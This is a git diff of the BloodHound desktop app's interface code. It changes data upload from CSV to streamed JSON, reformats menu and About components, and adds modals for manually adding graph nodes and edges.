-                        if (processHeader){
-                            processHeader = false;
-                            fileType = findObjectType(header);
-                            if (fileType === 'unknown'){
-                                emitter.emit('showAlert', 'Unrecognized CSV Type');
-                                input.close();
-                            }
-                        }
-                        count++;
-                    }
-            }
-        })
-        .on('end', function(){
-            //We've got our line count for progress
-            var chunk = [];
-            var localCount = 0;
-            var sent = 0;
 
-            //Subtract one line to account for the header
-            count--;
+        this.setState({
+            uploading: true,
+            progress: 0
+        });
+
+        let size = statSync(file).size;
+        createReadStream(file, {encoding: 'utf8', start: size-100, end: size}).on('data', chunk => {
+            let type;
+            try{
+                type = /type.?:\s?"(\w*)"/g.exec(chunk)[1];
+                count = /count.?:\s?(\d*)/g.exec(chunk)[1];
+            }catch(e){
+                type = null;
+            }
             
-            //Change the UI to display our uploading state
-            this.setState({
-                uploading: true,
-                progress: 0
-            });
 
-            //Start a timer
-            console.time('IngestTime');
+            if (!acceptableTypes.includes(type)){
+                emitter.emit("showAlert", "Unrecognized File");
+                this.setState({
+                    uploading: false
+                });
+                callback();
+                return;
+            }
 
-            //Start parsing the file
-            var parser = csv.fromStream(fs.createReadStream(file),
-            {
-                 headers: true,
-                 ignoreEmpty: true
-            })
-            .on('data', function(data){
-                //On each row, push it into an array and increment a counter
-                chunk.push(data);
-                localCount++;
-
-                //If we've collected 10k rows, push it all to the DB.
-                if (localCount % 10000 === 0){
-                    //Pause the parser until upload is complete
-                    parser.pause();
-                    this.uploadData(chunk, fileType, count)
-                        .then(function(){
-                            //Update the sent number, and resume the parser
-                            sent += chunk.length;
-                            this.setState({progress: Math.floor(sent / count * 100)});
-
-                            chunk = [];
-                            parser.resume();
-                        }.bind(this));
-                }
-            }.bind(this))
-            .on('end', function(){
-                //Upload any remaining data
-                this.uploadData(chunk, fileType, count)
-                    .then(function(){
-                        //Set the uploading state to 100%, refresh the db display, and move on to the next file if there is one
-                        this.setState({progress:100});
-                        emitter.emit('refreshDBData');
-                        console.timeEnd('IngestTime');
-                        callback();
-                    }.bind(this));
-            }.bind(this));
-        }.bind(this));
+            this.processJson(file, callback, parseInt(count), type)
+        });
     }
-    
-    async uploadData(currentChunk, filetype, total){
-        var index = 0;
-        var processed;
-        var sent = 0;
-        var session = driver.session();
 
-        if (filetype === 'groupmembership'){
-            processed = buildGroupMembershipProps(currentChunk);
-            for (let skey in processed) {
-                await session.run(processed[skey].statement, { props: processed[skey].props });
-            }
-        }else if (filetype === 'localadmin'){
-            processed = buildLocalAdminProps(currentChunk);
-            for (let skey in processed) {
-                await session.run(processed[skey].statement, { props: processed[skey].props });
-            }
-        }else if (filetype === 'sessions'){
-            processed = buildSessionProps(currentChunk);
+    getFileMetaOld(file, callback) {
+        let acceptableTypes = [
+            "sessions",
+            "ous",
+            "groups",
+            "gpoadmins",
+            "gpos",
+            "computers",
+            "users",
+            "domains"
+        ];
+        let count;
+        let type;
 
-            for (let skey in processed) {
-                await session.run(processed[skey].statement, { props: processed[skey].props });
-            }
-        }else if (filetype === 'domain'){
-            processed = buildDomainProps(currentChunk);
+        console.log(file);
+        this.setState({
+            uploading: true,
+            progress: 0
+        });
 
-            for (let skey in processed) {
-                await session.run(processed[skey].statement, { props: processed[skey].props });
-            }
-        }else if (filetype === 'acl'){
-            processed = buildACLProps(currentChunk);
+        let pipeline = chain([
+            createReadStream(file, { encoding: "utf8" }),
+            withParser({ filter: "meta" })
+        ]);
 
-            for (let key in processed){
-                await session.run(processed[key].statement, {props: processed[key].props});
-            }
-        }else if (filetype === 'userprops'){
-            $.each(currentChunk, function(index, obj){
-                var spn = obj.ServicePrincipalNames;
-                var sh = obj.SidHistory;
+        let asm = connectTo(pipeline);
+        asm.on(
+            "done",
+            function(asm) {
+                let data = asm.current;
+                count = data.count;
+                type = data.type;
 
-                if (spn === ""){
-                    obj.ServicePrincipalNames = [];
-                }else{
-                    obj.ServicePrincipalNames = spn.split('|');
+                if (!acceptableTypes.includes(type)) {
+                    emitter.emit("showAlert", "Unrecognized JSON Type");
+                    this.setState({
+                        uploading: false
+                    });
+                    callback();
                 }
-            });
-            let query = 'UNWIND {props} AS prop MERGE (user:User {name: upper(prop.AccountName)}) SET user.Enabled = toBoolean(prop.Enabled),user.PwdLastSet = toInt(prop.PwdLastSet),user.LastLogon = toInt(prop.LastLogon),user.Sid = prop.Sid,user.SidHistory = prop.SidHistory,user.HasSPN = toBoolean(prop.HasSPN),user.DisplayName=prop.DisplayName,user.ServicePrincipalNames = prop.ServicePrincipalNames,user.Email=prop.Email,user.domain=prop.Domain,user.Title=prop.Title,user.HomeDir=prop.HomeDirectory';
 
-            await session.run(query, {props:currentChunk});
-        }else if (filetype === 'compprops'){
-            let query = 'UNWIND {props} AS prop MERGE (comp:Computer {name: upper(prop.AccountName)}) SET comp.Enabled=toBoolean(prop.Enabled),comp.PwdLastSet=toInt(prop.PwdLastSet),comp.LastLogon=toInt(prop.LastLogon),comp.OperatingSystem=prop.OperatingSystem,comp.Sid=prop.Sid,comp.UnconstrainedDelegation=toBoolean(prop.UnconstrainedDelegation),comp.domain=prop.Domain';
-            await session.run(query, {props:currentChunk});
-        }else if (filetype === 'structure'){  
-            processed = buildStructureProps(currentChunk);
-            for (let skey in processed){
-                await session.run(processed[skey].statement, { props: processed[skey].props });
-            }
-        }else if (filetype === 'gplink'){
-            processed = buildGplinkProps(currentChunk);
-            for (let gkey in processed) {
-                await session.run(processed[gkey].statement, { props: processed[gkey].props });
+                this.processJson(file, callback, count, type);
+            }.bind(this)
+        );
+    }
+
+    processJson(file, callback, count, type) {
+        let pipeline = chain([
+            createReadStream(file, { encoding: "utf8" }),
+            withParser({ filter: type }),
+            streamArray()
+        ]);
+
+        let localcount = 0;
+        let sent = 0;
+        let chunk = [];
+        //Start a timer for fun
+
+        this.setState({
+            uploading: true,
+            progress: 0
+        });
+
+        console.time("IngestTime");
+
+        pipeline
+            .on(
+                "data",
+                async function(data) {
+                    chunk.push(data.value);
+                    localcount++;
+
+                    if (localcount % 100 === 0) {
+                        pipeline.pause();
+                        await this.uploadData(chunk, type);
+                        sent += chunk.length;
+                        this.setState({
+                            progress: Math.floor((sent / count) * 100)
+                        });
+                        chunk = [];
+                        pipeline.resume();
+                    }
+                }.bind(this)
+            )
+            .on(
+                "end",
+                async function() {
+                    await this.uploadData(chunk, type);
+                    this.setState({ progress: 100 });
+                    emitter.emit("refreshDBData");
+                    console.timeEnd("IngestTime");
+                    callback();
+                }.bind(this)
+            );
+    }
+
+    //DO NOT USE THIS FUNCTION FOR ANYTHING, ITS ONLY FOR TESTING
+    sleep_test(ms) {
+        return new Promise(resolve => setTimeout(resolve, ms));
+    }
+
+    async uploadData(chunk, type) {
+        let session = driver.session();
+        let funcMap = {
+            computers: buildComputerJson,
+            domains: buildDomainJson,
+            gpos: buildGpoJson,
+            users: buildUserJson,
+            groups: buildGroupJson,
+            ous: buildOuJson,
+            sessions: buildSessionJson,
+            gpoadmins: buildGpoAdminJson
+        };
+        let data = funcMap[type](chunk);
+
+        for (let key in data) {
+            if (data[key].props.length === 0){
+                continue;
             }
+            await session
+                .run(data[key].statement, { props: data[key].props })
+                .catch(function(error) {
+                    console.log(data[key].props)
+                    console.log(error);
+                });
         }
+
+        session.close();
     }
 
     render() {
         return (
             <div className="menudiv">
                 <div>
-                    <MenuButton click={this._refreshClick.bind(this)} hoverVal="Refresh" glyphicon="glyphicon glyphicon-refresh" />
+                    <MenuButton
+                        click={this._refreshClick.bind(this)}
+                        hoverVal="Refresh"
+                        glyphicon="fas fa-sync-alt"
+                    />
                 </div>
                 <div>
-                    <MenuButton click={this._exportClick.bind(this)} hoverVal="Export Graph" glyphicon="glyphicon glyphicon-export" />
+                    <MenuButton
+                        click={this._exportClick.bind(this)}
+                        hoverVal="Export Graph"
+                        glyphicon="fa fa-download"
+                    />
                 </div>
                 <div>
-                    <MenuButton click={this._importClick.bind(this)} hoverVal="Import Graph" glyphicon="glyphicon glyphicon-import" />
+                    <MenuButton
+                        click={this._importClick.bind(this)}
+                        hoverVal="Import Graph"
+                        glyphicon="fa fa-upload"
+                    />
                 </div>
                 <div>
                     <If condition={this.state.uploading}>
                         <Then>
-                            <ProgressBarMenuButton click={this._cancelUploadClick.bind(this)} progress={this.state.progress} committed={this.state.committed}/>
+                            <ProgressBarMenuButton
+                                click={this._cancelUploadClick.bind(this)}
+                                progress={this.state.progress}
+                                committed={this.state.committed}
+                            />
                         </Then>
-                        <Else>{ () =>
-                            <MenuButton click={function(){jQuery(this.refs.fileInput).click()}.bind(this)} hoverVal="Upload Data" glyphicon="glyphicon glyphicon-upload" />        
-                        }</Else>
-                    </If>        
+                        <Else>
+                            {() => (
+                                <MenuButton
+                                    click={function() {
+                                        jQuery(this.refs.fileInput).click();
+                                    }.bind(this)}
+                                    hoverVal="Upload Data"
+                                    glyphicon="glyphicon glyphicon-upload"
+                                />
+                            )}
+                        </Else>
+                    </If>
                 </div>
                 <div>
-                    <MenuButton click={this._changeLayoutClick.bind(this)} hoverVal="Change Layout Type" glyphicon="fa fa-line-chart" />
+                    <MenuButton
+                        click={this._changeLayoutClick.bind(this)}
+                        hoverVal="Change Layout Type"
+                        glyphicon="fa fa-chart-line"
+                    />
                 </div>
                 <div>
-                    <MenuButton click={this._settingsClick.bind(this)} hoverVal="Settings" glyphicon="fa fa-cogs" />
+                    <MenuButton
+                        click={this._settingsClick.bind(this)}
+                        hoverVal="Settings"
+                        glyphicon="fa fa-cogs"
+                    />
                 </div>
                 <div>
-                    <MenuButton click={this._aboutClick.bind(this)} hoverVal="About" glyphicon="fa fa-info" />
+                    <MenuButton
+                        click={this._aboutClick.bind(this)}
+                        hoverVal="About"
+                        glyphicon="fa fa-info"
+                    />
                 </div>
-                <input ref="fileInput" multiple className="hide" type="file" onChange={this._uploadClick.bind(this)}/>
+                <input
+                    ref="fileInput"
+                    multiple
+                    className="hide"
+                    type="file"
+                    onChange={this._uploadClick.bind(this)}
+                />
             </div>
         );
     }
diff --git a/src/components/Menu/ProgressBarMenuButton.jsx b/src/components/Menu/ProgressBarMenuButton.jsx
index 517d3b8..70c5de3 100644
--- a/src/components/Menu/ProgressBarMenuButton.jsx
+++ b/src/components/Menu/ProgressBarMenuButton.jsx
@@ -1,8 +1,8 @@
-import React, { Component } from 'react';
-import PropTypes from 'prop-types';
+import React, { Component } from "react";
+import PropTypes from "prop-types";
 
 export default class ProgressBarMenuButton extends Component {
-    constructor(){
+    constructor() {
         super();
 
         this.state = {
@@ -10,14 +10,14 @@ export default class ProgressBarMenuButton extends Component {
         };
     }
 
-    componentDidMount(){
-        $(this.refs.btn).html('{}%'.format(this.props.progress));
-        $(this.refs.btn).css('padding','6px 0px 6px 0px');
-        $(this.refs.btn).css('width','41px');
+    componentDidMount() {
+        $(this.refs.btn).html("{}%".format(this.props.progress));
+        $(this.refs.btn).css("padding", "6px 0px 6px 0px");
+        $(this.refs.btn).css("width", "41px");
     }
 
-    componentWillReceiveProps(nextProps){
-        if (this.state.expanded){
+    componentWillReceiveProps(nextProps) {
+        if (this.state.expanded) {
             var template = `<div class="progress" style="margin-bottom:0px"> 
                 <div class="progress-bar progress-bar-striped active" role="progressbar" aria-value-now={} aria-value-max="100" style="width:{}%">
                 </div>
@@ -26,31 +26,32 @@ export default class ProgressBarMenuButton extends Component {
                 </span>
             </div>`.formatAll(nextProps.progress);
             $(this.refs.btn).html(template);
-        }else{
-            $(this.refs.btn).html('{}%'.format(nextProps.progress));
+        } else {
+            $(this.refs.btn).html("{}%".format(nextProps.progress));
         }
 
         this.forceUpdate();
     }
 
-    shouldComponentUpdate(nextProps, nextState){
+    shouldComponentUpdate(_nextProps, _nextState) {
         return true;
     }
 
-    _leave(e){
-        this.setState({expanded: false});
+    _leave(e) {
+        this.setState({ expanded: false });
         var target = $(e.target);
-        var oldWidth = target.width();
-        target.html('{}%'.format(this.props.progress));
-        target.animate({
-            width: '41px'
-        }, 100);
+        target.html("{}%".format(this.props.progress));
+        target.animate(
+            {
+                width: "41px"
+            },
+            100
+        );
     }
 
-    _enter(e){
-        this.setState({expanded: true});
+    _enter(e) {
+        this.setState({ expanded: true });
         var target = $(e.target);
-        var oldWidth = target.width();
         var template = `
             <div class="progress" style="margin-bottom:0px"> 
                 <div class="progress-bar progress-bar-striped active" role="progressbar" aria-value-now={} aria-value-max="100" style="width:{}%">
@@ -60,21 +61,30 @@ export default class ProgressBarMenuButton extends Component {
                 </span>
             </div>
         `.formatAll(this.props.progress);
-        
+
         target.html(template);
-        target.animate({
-            width: '150px'
-        }, 100);
+        target.animate(
+            {
+                width: "150px"
+            },
+            100
+        );
     }
 
     render() {
         return (
-            <button ref="btn" onClick={this.props.click} onMouseLeave={this._leave.bind(this)} onMouseEnter={this._enter.bind(this)} className="btn" />
+            <button
+                ref="btn"
+                onClick={this.props.click}
+                onMouseLeave={this._leave.bind(this)}
+                onMouseEnter={this._enter.bind(this)}
+                className="btn"
+            />
         );
     }
 }
 
 ProgressBarMenuButton.propTypes = {
-    progress : PropTypes.number.isRequired,
-    click : PropTypes.func.isRequired
-};
\ No newline at end of file
+    progress: PropTypes.number.isRequired,
+    click: PropTypes.func.isRequired
+};
diff --git a/src/components/Modals/About.jsx b/src/components/Modals/About.jsx
index c3b606f..464dd33 100644
--- a/src/components/Modals/About.jsx
+++ b/src/components/Modals/About.jsx
@@ -1,39 +1,45 @@
-import React, {Component} from 'react';
+import React, { Component } from "react";
 
-var Modal = require('react-bootstrap').Modal;
-var path = require('path')
-var fs = require('fs')
-const { app, shell } = require('electron').remote
+import { Modal } from "react-bootstrap";
+import { join } from "path";
+import { readFileSync, readFile } from "fs";
+import { remote } from "electron";
+const { app, shell } = remote;
 
-
-export default class componentName extends Component {
-    constructor(){
+export default class About extends Component {
+    constructor() {
         super();
 
-        var json = JSON.parse(fs.readFileSync(path.join(app.getAppPath(),'package.json')));
+        var json = JSON.parse(
+            readFileSync(join(app.getAppPath(), "package.json"))
+        );
 
-        fs.readFile(path.join(app.getAppPath(),'LICENSE.md'), 'utf8', function(err, data){
-            this.setState({
-                license: data
-            })
-        }.bind(this));
+        readFile(
+            join(app.getAppPath(), "LICENSE.md"),
+            "utf8",
+            function(err, data) {
+                this.setState({
+                    license: data
+                });
+            }.bind(this)
+        );
 
         this.state = {
             open: false,
             version: json.version
-        }
+        };
     }
 
-    closeModal(){
-        this.setState({ open: false })
+    closeModal() {
+        this.setState({ open: false });
     }
 
-    openModal(){
-        this.setState({open: true})
+    openModal() {
+        this.setState({ open: true });
     }
 
     componentDidMount() {
-        emitter.on('showAbout', this.openModal.bind(this))        
+        emitter.on("showAbout", this.openModal.bind(this));
     }
 
     render() {
@@ -41,23 +47,88 @@ export default class componentName extends Component {
             <Modal
                 show={this.state.open}
                 onHide={this.closeModal.bind(this)}
-                aria-labelledby="AboutHeader">
-
+                aria-labelledby="AboutHeader"
+            >
                 <Modal.Header closeButton={true}>
                     <Modal.Title id="AboutHeader">About BloodHound</Modal.Title>
                 </Modal.Header>
 
                 <Modal.Body>
-                    <h5><b>Version:</b> {this.state.version}</h5>
-                    <h5><b>Github:</b> <a href="#" onClick={function(){shell.openExternal("https://www.github.com/BloodHoundAD/BloodHound")}}>https://www.github.com/BloodHoundAD/BloodHound</a></h5>
-                    <h5><b>Authors:</b> <a href="#" onClick={function(){shell.openExternal("https://www.twitter.com/harmj0y")}}>@harmj0y</a>, <a href="#" onClick={function(){shell.openExternal("https://www.twitter.com/_wald0")}}>@_wald0</a>, <a href="#" onClick={function(){shell.openExternal("https://www.twitter.com/cptjesus")}}>@cptjesus</a></h5>
+                    <h5>
+                        <b>Version:</b> {this.state.version}
+                    </h5>
+                    <h5>
+                        <b>GitHub:</b>{" "}
+                        <a
+                            href="#"
+                            onClick={function() {
+                                shell.openExternal(
+                                    "https://www.github.com/BloodHoundAD/BloodHound"
+                                );
+                            }}
+                        >
+                            https://www.github.com/BloodHoundAD/BloodHound
+                        </a>
+                    </h5>
+                    <h5>
+                        <b>BloodHound Slack:</b>{" "}
+                        <a
+                            href="#"
+                            onClick={function() {
+                                shell.openExternal(
+                                    "https://bloodhoundgang.herokuapp.com/"
+                                );
+                            }}
+                        >
+                            https://bloodhoundgang.herokuapp.com/
+                        </a>
+                    </h5>
+                    <h5>
+                        <b>Authors:</b>{" "}
+                        <a
+                            href="#"
+                            onClick={function() {
+                                shell.openExternal(
+                                    "https://www.twitter.com/harmj0y"
+                                );
+                            }}
+                        >
+                            @harmj0y
+                        </a>,{" "}
+                        <a
+                            href="#"
+                            onClick={function() {
+                                shell.openExternal(
+                                    "https://www.twitter.com/_wald0"
+                                );
+                            }}
+                        >
+                            @_wald0
+                        </a>,{" "}
+                        <a
+                            href="#"
+                            onClick={function() {
+                                shell.openExternal(
+                                    "https://www.twitter.com/cptjesus"
+                                );
+                            }}
+                        >
+                            @cptjesus
+                        </a>
+                    </h5>
                     <br />
-                    <h5><b>License</b></h5>
+                    <h5>
+                        <b>License</b>
+                    </h5>
                     <div className="aboutscroll">{this.state.license}</div>
                 </Modal.Body>
 
                 <Modal.Footer>
-                    <button type="button" className="btn btn-primary" onClick={this.closeModal.bind(this)}>
+                    <button
+                        type="button"
+                        className="btn btn-primary"
+                        onClick={this.closeModal.bind(this)}
+                    >
                         Close
                     </button>
                 </Modal.Footer>
diff --git a/src/components/Modals/AddEdgeModal.jsx b/src/components/Modals/AddEdgeModal.jsx
new file mode 100644
index 0000000..f53494b
--- /dev/null
+++ b/src/components/Modals/AddEdgeModal.jsx
@@ -0,0 +1,389 @@
+import React, { Component } from "react";
+import { Modal } from "react-bootstrap";
+import { buildSearchQuery } from 'utils';
+
+export default class AddEdgeModal extends Component {
+    constructor() {
+        super();
+        this.state = {
+            open: false,
+            source: null,
+            target: null
+        };
+    }
+
+    componentDidMount() {
+        emitter.on("addEdge", this.openModal.bind(this));
+    }
+
+    closeModal() {
+        this.setState({ open: false });
+    }
+
+    openModal() {
+        if (appStore.currentTooltip !== null){
+            appStore.currentTooltip.close();
+        }
+        this.setState( {open: true });
+        jQuery(this.refs.errora).hide();
+        jQuery(this.refs.errorb).hide();
+        jQuery(this.refs.edgeError).hide();
+        jQuery(this.refs.complete).hide();
+
+        this.bindSearchBars(jQuery(this.refs.source), "source");
+        this.bindSearchBars(jQuery(this.refs.target), "target");
+        
+    }
+
+    bindSearchBars(element,which){
+        element.typeahead({
+            autoSelect: false,
+            source: function(query, process) {
+                let session = driver.session();
+                let [statement, searchterm] = buildSearchQuery(query);
+
+                session.run(statement, {name: searchterm}).then(x => {
+                    let data = [];
+                    let map = {};
+                    $.each(x.records, (index, record) => {
+                        let props = record._fields[0].properties;
+                        Object.assign(props, {
+                            type: record._fields[0].labels[0]
+                        });
+                        map[index] = props;
+                        data.push(`${props.name}#${index}`);
+                    })
+
+                    this.map = map;
+                    session.close();
+                    return process(data);
+                })
+            },
+            updater: function(item){
+                let [_, index] = item.split('#');
+                return this.map[index];
+            },
+            matcher: function(item){
+                let [name,index] = item.split('#');
+                let obj = this.map[index];
+                let searchTerm = this.query.includes(':') ? this.query.split(':')[1] : this.query;
+
+                if (name.toLowerCase().indexOf(searchTerm.toLowerCase() !== -1)){
+                    return true;
+                }else if (obj.guid && obj.guid.toLowerCase().indexOf(searchTerm.toLowerCase()) !== -1){
+                    return true;
+                }else{
+                    return false;
+                }
+            },
+            highlighter: function(item){
+                let [name,index] = item.split('#');
+                let obj = this.map[index];
+                let searchTerm = this.query.includes(':') ? this.query.split(':')[1] : this.query;
+                let type = obj.type;
+                let icon;
+
+                switch (type) {
+                    case "Group":
+                        icon =
+                            '<i style="float:right" class="fa fa-users"></i>';
+                        break;
+                    case "User":
+                        icon = '<i style="float:right" class="fa fa-user"></i>';
+                        break;
+                    case "Computer":
+                        icon =
+                            '<i style="float:right" class="fa fa-desktop"></i>';
+                        break;
+                    case "Domain":
+                        icon =
+                            '<i style="float:right" class="fa fa-globe"></i>';
+                        break;
+                    case "GPO":
+                        icon = '<i style="float:right" class="fa fa-list"></i>';
+                        break;
+                    case "OU":
+                        icon =
+                            '<i style="float:right" class="fa fa-sitemap"></i>';
+                        break;
+                }
+
+                let html = "<div>{}".format(name);
+
+                if (searchTerm !== "") {
+                    let reQuery = new RegExp("(" + searchTerm + ")", "gi");
+
+                    html = html.replace(reQuery, "<strong>$1</strong>");
+                }
+                html += icon + "</div>";
+                let jElem = $(html);
+
+                return jElem.html();
+            },
+            afterSelect: item =>{
+                let p = {};
+                p[which] = item;
+                this.setState(p);
+                if (which === "source"){
+                    this.sourceFocus();
+                    this.sourceBlur();
+                }else{
+                    this.targetFocus();
+                    this.targetBlur();
+                }     
+            }
+        });
+    }
+
+    validate(){
+        let source = this.state.source;
+        let target = this.state.target;
+        let edge = jQuery(this.refs.type).val();
+        let edgeError = jQuery(this.refs.edgeError);
+        let edgeValid = jQuery(this.refs.validateedge)
+        let sourceValid = jQuery(this.refs.validatea);
+        let targetValid = jQuery(this.refs.validateb);
+        let sourceError = jQuery(this.refs.errora);
+        let targetError = jQuery(this.refs.errorb);
+        let complete = jQuery(this.refs.complete);
+
+        edgeValid.removeClass("has-error");
+        edgeError.hide();
+
+        if (source === null){
+            sourceValid.addClass("has-error");
+            sourceError.html("Source node not validated!");
+            sourceError.show();
+            return;
+        }
+
+        if (target === null){
+            targetValid.addClass("has-error");
+            targetError.html("Target node not validated!");
+            targetError.show();
+            return;
+        }
+
+        if (source.name === target.name){
+            targetValid.addClass("has-error");
+            targetError.html("Source and target cannot be identical!");
+            targetError.show();
+            sourceValid.addClass("has-error");
+            sourceError.html("Source and target cannot be identical");
+            sourceError.show();
+            return;
+        }
+
+        let q = driver.session();
+        let statement = `MATCH (n:${source.type} {name: {source}}) MATCH (m:${target.type} {name:{target}}) MATCH (n)-[r:${edge}]->(m) RETURN r`
+        q.run(statement, {source: source.name, target: target.name}).then(x => {
+            q.close();
+            if (x.records.length > 0){
+                edgeValid.addClass("has-error");
+                edgeError.html("Edge already exists");
+                edgeError.show();
+            }else{
+                let edgepart;
+                if (edge === "GenericAll" || edge === "GenericWrite" || edge === "AllExtendedRights" || edge === "AddMember" || edge === "ForceChangePassword" || edge === "Owns" || edge === "WriteDacl" || edge === "WriteOwner" || edge === "ReadLAPSPassword"){
+                    edgepart = `[r:${edge} {isacl:true}]`;
+                }else{
+                    edgepart = `[r:${edge} {isacl:false}]`;
+                }
+                let s = driver.session();
+                let statement = `MATCH (n:${source.type} {name: {source}}) MATCH (m:${target.type} {name:{target}}) MERGE (n)-${edgepart}->(m) RETURN r`
+                s.run(statement, {source: source.name, target: target.name}).then(x =>{
+                    s.close();
+                    complete.show();
+                    setTimeout(x => {this.closeModal()}, 500);
+                })
+            }
+        });
+    }
+
+    clearFocus(){
+        let validate = jQuery(this.refs.validate);
+        let error = jQuery(this.refs.error);
+
+        validate.removeClass("has-error");
+        error.hide();
+    }
+
+    targetBlur(){
+        if (this.state.target === null){
+            let source = jQuery(this.refs.source).val();
+            let q = driver.session();
+            q.run("MATCH (n) WHERE n.name = {name} RETURN n", {name: source}).then(x => {
+                if (x.records.length === 0){
+                    let validate = jQuery(this.refs.validateb);
+                    let error = jQuery(this.refs.errorb);
+                    validate.addClass("has-error");
+                    error.html("Node not found");
+                    error.show();
+                }else if (x.records.length > 1){
+                    let validate = jQuery(this.refs.validateb);
+                    let error = jQuery(this.refs.errorb);
+                    validate.addClass("has-error");
+                    error.html("Multiple possible nodes found. Click on item from dropdown to set type");
+                    error.show();
+                }else{
+                    let props = x._fields[0].properties;
+                    Object.assign(props, {
+                        type: x._fields[0].labels[0]
+                    });
+                    this.setState({source: props})
+                }          
+                q.close();
+            })
+        }
+    }
+
+    targetChanged(){
+        let target = jQuery(this.refs.target).val();
+        if (this.state.target && target !== this.state.target.name){
+            this.setState({target: null})
+        }
+    }
+
+    targetFocus(){
+        let validate = jQuery(this.refs.validateb);
+        let error = jQuery(this.refs.errorb);
+        validate.removeClass("has-error");
+        error.hide()
+
+        if (this.state.source !== null){
+            validate = jQuery(this.refs.validatea);
+            error = jQuery(this.refs.errora);
+            validate.removeClass("has-error");
+            error.hide();
+        }
+    }
+
+    sourceBlur(){
+        if (this.state.source === null){
+            let source = jQuery(this.refs.source).val();
+            let q = driver.session();
+            q.run("MATCH (n) WHERE n.name = {name} RETURN n", {name: source}).then(x => {
+                if (x.records.length === 0){
+                    let validate = jQuery(this.refs.validatea);
+                    let error = jQuery(this.refs.errora);
+                    validate.addClass("has-error");
+                    error.html("Node not found");
+                    error.show();
+                }else if (x.records.length > 1){
+                    let validate = jQuery(this.refs.validatea);
+                    let error = jQuery(this.refs.errora);
+                    validate.addClass("has-error");
+                    error.html("Multiple possible nodes found. Click on item from dropdown to set type");
+                    error.show();
+                }else{
+                    let props = x._fields[0].properties;
+                    Object.assign(props, {
+                        type: x._fields[0].labels[0]
+                    });
+                    this.setState({source: props})
+                }          
+                q.close();
+            })
+        }
+    }
+
+    sourceChanged(){
+        let source = jQuery(this.refs.source).val();
+        if (this.state.source && source !== this.state.source.name){
+            this.setState({source: null})
+        }
+    }
+
+    sourceFocus(){
+        let validate = jQuery(this.refs.validatea);
+        let error = jQuery(this.refs.errora);
+        validate.removeClass("has-error");
+        error.hide()
+
+        if (this.state.target !== null){
+            validate = jQuery(this.refs.validateb);
+            error = jQuery(this.refs.errorb);
+            validate.removeClass("has-error");
+            error.hide();
+        }
+    }
+
+    render() {
+        return (
+            <Modal
+                show={this.state.open}
+                onHide={this.closeModal.bind(this)}
+                aria-labelledby="AddEdgeModalHeader"
+            >
+                <Modal.Header closeButton={true}>
+                    <Modal.Title id="AddEdgeModalHeader">Add Edge</Modal.Title>
+                </Modal.Header>
+
+                <Modal.Body>
+                    <form onSubmit={x => {x.preventDefault(); this.validate()}} className="needs-validation" noValidate>
+                        <div ref="validatea" className={"form-group"}>
+                            <label htmlFor="sourceNode" required>Source Node</label>
+                            <input onFocus={this.sourceFocus.bind(this)} onInput={this.sourceChanged.bind(this)} onBlur={this.sourceBlur.bind(this)} type="search" autoComplete="off" placeholder="Source Node" ref="source" className={"form-control"} id="sourceNode" />
+                            <span className="help-block" ref="errora">
+                                Looks good!
+                            </span>
+                        </div>
+                        <div className={"form-group"} ref="validateedge">
+                            <label htmlFor="addEdgeType">Edge Type</label>
+                            <select ref="type" className={"form-control"} id="addEdgeType">
+                                <option>MemberOf</option>
+                                <option>HasSession</option>
+                                <option>AdminTo</option>
+                                <option>AllExtendedRights</option>
+                                <option>AddMember</option>
+                                <option>ForceChangePassword</option>
+                                <option>GenericAll</option>
+                                <option>GenericWrite</option>
+                                <option>Owns</option>
+                                <option>WriteDacl</option>
+                                <option>WriteOwner</option>
+                                <option>ReadLAPSPassword</option>
+                                <option>Contains</option>
+                                <option>GpLink</option>
+                                <option>CanRDP</option>
+                                <option>ExecuteDCOM</option>
+                                <option>AllowedToDelegate</option>
+                            </select>
+                            <span className="help-block" ref="edgeError">
+                                Looks good!
+                            </span>
+                        </div>
+                        <div ref="validateb" className={"form-group"}>
+                            <label htmlFor="targetNode" required>Target Node</label>
+                            <input onFocus={this.targetFocus.bind(this)} onInput={this.targetChanged.bind(this)} onBlur={this.targetBlur.bind(this)} type="search" autoComplete="off" placeholder="Target Node" ref="target" className={"form-control"} id="targetNode" />
+                            <span className="help-block" ref="errorb">
+                                Looks good!
+                            </span>
+                        </div>
+                    </form>
+                </Modal.Body>
+
+                <Modal.Footer>
+                    <i
+                        ref="complete"
+                        className="fa fa-check-circle green-icon-color add-modal-check-style"
+                    />
+                    <button
+                        type="button"
+                        className="btn btn-primary"
+                        onClick={this.validate.bind(this)}
+                    >
+                        Confirm
+                    </button>
+                    <button
+                        type="button"
+                        className="btn btn-danger"
+                        onClick={this.closeModal.bind(this)}
+                    >
+                        Cancel
+                    </button>
+                </Modal.Footer>
+            </Modal>
+        );
+    }
+}
diff --git a/src/components/Modals/AddNodeModal.jsx b/src/components/Modals/AddNodeModal.jsx
new file mode 100644
index 0000000..42fed39
--- /dev/null
+++ b/src/components/Modals/AddNodeModal.jsx
@@ -0,0 +1,160 @@
+import React, { Component } from "react";
+import { Modal } from "react-bootstrap";
+
+export default class AddNodeModal extends Component {
+    constructor() {
+        super();
+        this.state = {
+            open: false
+        };
+    }
+
+    componentDidMount() {
+        emitter.on("addNode", this.openModal.bind(this));
+    }
+
+    closeModal() {
+        this.setState({ open: false });
+    }
+
+    validate() {
+        let name = jQuery(this.refs.name).val();
+        let type = jQuery(this.refs.type).val();
+        let validate = jQuery(this.refs.validate);
+        let error = jQuery(this.refs.error);
+        let complete = jQuery(this.refs.complete);
+
+        if (name === ""){
+            validate.addClass("has-error")
+            error.html("Name cannot be blank!");
+            error.show();
+            return;
+        }
+
+        if (type === "Computer"){
+            if (!name.includes('.') || name.split('.').length < 3){
+                validate.addClass("has-error")
+                error.html("Computer name must be similar to COMPUTER.DOMAIN.COM");
+                error.show();
+                return;
+            }
+        }else{
+            if (!name.includes('@') || name.split('@').length > 2){
+                validate.addClass("has-error")
+                error.html("Name must be similar to NAME@DOMAIN.COM");
+                error.show();
+                return;
+            }
+
+            let dpart = name.split('@')[1];
+            if (!dpart.includes('.')){
+                validate.addClass("has-error")
+                error.html("Name must be similar to NAME@DOMAIN.COM");
+                error.show();
+                return;
+            }
+        }
+
+        //initial validation done, check for duplicate
+        name = name.toUpperCase();
+        if (type !== "OU"){
+            let q = driver.session();
+            let statement = "MATCH (n:{} {name:{name}}) RETURN n".format(type);
+            q.run(statement, {name: name}).then(x => {
+                q.close();
+                if (x.records.length > 0){
+                    validate.addClass("has-error")
+                    error.html("Node with name already exists!");
+                    error.show();
+                    return;
+                }
+
+                emitter.emit("addNodeFinal", name, type)
+                complete.show();
